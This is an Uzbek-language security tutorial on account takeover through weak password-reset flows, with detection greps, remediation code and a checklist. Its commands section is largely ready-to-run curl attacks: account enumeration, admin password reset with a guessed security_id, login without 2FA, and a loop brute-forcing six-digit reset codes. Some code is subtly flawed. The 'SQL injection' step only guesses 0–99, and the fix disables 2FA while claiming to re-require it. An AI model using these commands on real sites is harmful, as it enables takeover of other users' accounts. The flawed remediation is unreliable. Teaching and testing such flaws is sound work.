🔑
Parol tiklash orqali ATO
Parolsiz begona hisobga kirish
1
Maqsad
parolsiz begona hisobga kirishParol tiklash — bitta noto'g'ri qaror bo'lsa, butun tizim barcha foydalanuvchilar hisobiga ochiq bo'lib qoladi.
2
Tushuntirish
zanjirli zaiflik// 1) security_id — bashoratli son if (req.body.security_id === user.security_id) resetPassword(user); // 8 raqamli son = 100 mln variant; SQL inj bilan topiladi // YOKI so'rovda o'zi keladi → "yetarli tasdiq" emas // 2) kod javobda qaytadi return res.json({{ success:true, code: '482913' }}); // ✗ HUJUM! // 3) email yuborilmaydi, javobda bo'ladi return res.json({{ success:true, sent_to: user.email }}); // enumeration // 4) admin rolidan tiklash resetPassword(user); // admin 2FAsiz paroli o'zgadi // TO'G'RI oqim 1. Email so'raladi → har doim "xabaringiz yuborildi" (ha/yo'q farqi yo'q) 2. Server tasdiqlash kodini yaratadi → FAQAT EMAILGA 3. Kod 1 marta ishlatiladi, 15 daqiqa 4. Parol yangilanganda eski sessiyalar + 2FA bekor qilinadi
3
Qanday aniqlanadi
# 1) tiklash endpointlari grep -rniE "reset.?password|forgot|password.?reset|support-reset" src/routes/ | head # 2) maxfiy maydonlar (kodi javobda qaytadimi?) grep -rniE "security_id|reset_code|otp|verification_code" src/controllers/ | head # 3) email yuboriladimi? grep -rnE "sendMail|nodemailer|sendEmail|smtp" src/ | head
4
Buyruqlar
# 1) enumeration — hisob bor yo'qligini aniqlash curl -s -X POST https://site.uz/api/auth/support-reset-password \ -H "Content-Type: application/json" -d '{"email":"yoq@site.uz"}' | jq . curl -s -X POST https://site.uz/api/auth/support-reset-password \ -H "Content-Type: application/json" -d '{"email":"admin@site.uz"}' | jq . # javoblar farq qilsa — bor/yo'qligi ma'lum # 2) security_id ni topish (SQL inj orqali) curl -s -X POST https://site.uz/api/auth/support-reset-password \ -H "Content-Type: application/json" -d "{\"email\":\"admin@site.uz\",\"security_id\":\"$(seq -w 0 99 | shuf -n1)\"}" | jq . # 3) tiklashdan keyin 2FA holatini tekshirish curl -s -X POST https://site.uz/api/auth/support-reset-password \ -H "Content-Type: application/json" \ -d '{"email":"admin@site.uz","security_id":"00000000","new_password":"YangiParol1!"}' | jq . curl -s -X POST https://site.uz/api/auth/admin-panel-login \ -H "Content-Type: application/json" \ -d '{"email":"admin@site.uz","password":"YangiParol1!"}' | jq . # 2FA so'ranmasa → admin paroli to'g'ridan-to'g'ri tiklandi # 4) kodni qaytarib olish curl -s -X POST https://site.uz/api/auth/forgot-password \ -H "Content-Type: application/json" -d '{"email":"sinov@site.uz"}' | jq . // agar "code":"482913" kelsa — kritik zaiflik # 5) kodni urish for C in $(seq -w 100000 999999); do curl -s -X POST https://site.uz/api/auth/verify-reset-code \ -H "Content-Type: application/json" \ -d "{\"email\":\"sinov@site.uz\",\"code\":\"$C\"}" | grep -q true && echo " $C" && break done # 6) token muddati va bir marta ishlatilishi curl -s -X POST https://site.uz/api/auth/reset-password \ -H "Content-Type: application/json" \ -d '{"token":"eski_token","password":"Yangi1!"}' | jq . # ikkinchi marta → "token expired/invalid" bo'lishi kerak
5
Natija
✓ MUvaffaqiyat — hujum ISHLADI
| Server javobi | Nima degani |
|---|---|
`security_id` to'g'ri deb tanindi | **ATO — parolsiz kirish** |
Javobda reset kodi qaytdi | **Kritik — ochiq kod** |
`admin` paroli tiklandi va 2FSiz kirdi | **To'liq nazorat** |
Ha/yo'q javoblari farq qildi | **Account enumeration** |
Kod 5+ marta ishlatildi | **Replay / brute force** |
✗ Rad etish — hujum ISHLAMADI
| Server javobi | Nima degani |
|---|---|
`admin` roli rad etildi | **To'g'ri** — maxfiy rol |
`security_id` noto'g'ri | **Tasdiqlash ishlayapti** |
Har doim bir xil javob | **Yaxshi** — enumeration yo'q |
Eski token ishlamadi | **To'g'ri** — bir marta ishlatiladi |
6
Zararni yopish
1. Kod FAQAT emailga
const code = crypto.randomInt(100000, 999999).toString();
await redis.set(`reset:${{user.id}}`,
{{ code: bcrypt.hash(code, 8), exp: Date.now() + 15 * 60000 }}, 'EX', 900);
await sendMail(user.email, `Kodingiz: ${{code}}`); // HECH QACHON javobda yo'q
2. Maxfiy rollarni himoya
const PRIVILEGED = ['admin','owner','superadmin','moderator'];
if (PRIVILEGED.includes(user.role))
throw new Error('bu yo\'l faqat oddiy foydalanuvchilar uchun');
3. security_id — autentifikatsiya EMAS
// ✗ security_id = bashoratli raqam (8 raqam = 100 mln) // ✓ o'rniga: email + tasdiqlash kodi + vaqt // yoki: security_id ni ham emailga yuboring
4. Har doim bir xil javob
return res.json({{ success: true,
message: 'Agar bu email ro\'yxatda bo\'lsa, xabar yuborildi.' }});
5. Parol o'zgarganda
// barcha sessiyalar + refresh tokenlarni o'chirish await redis.del(`sessions:${{user.id}}`); user.twofa_enabled = false; // 2FA ni qaytadan so'rash user.tokenVersion++; // eski JWT lar o'lsin
6. Umumiy
- Kod: 6 raqam, 15 daqiqa, 1 marta, 5 urish limit
- Parol siyosati: 8+ belgi, katta-kichik, raqam
- Barcha tiklash harakatlari log qilinadi
7
Tekshirish ro'yxati
- Reset kodi faqat emailga yuboriladi, javobda yo'q
- `admin`/`moderator` roli rad etilgan
- Har doim bir xil javob qaytariladi
- Kod 15 daqiqa va 1 marta ishlatiladi
- Parol o'zgarganda sessiya va 2FA bekor qilinadi
- Tiklash urishlari rate limit bilan
- `security_id` bilan tiklash sinab ko'rildi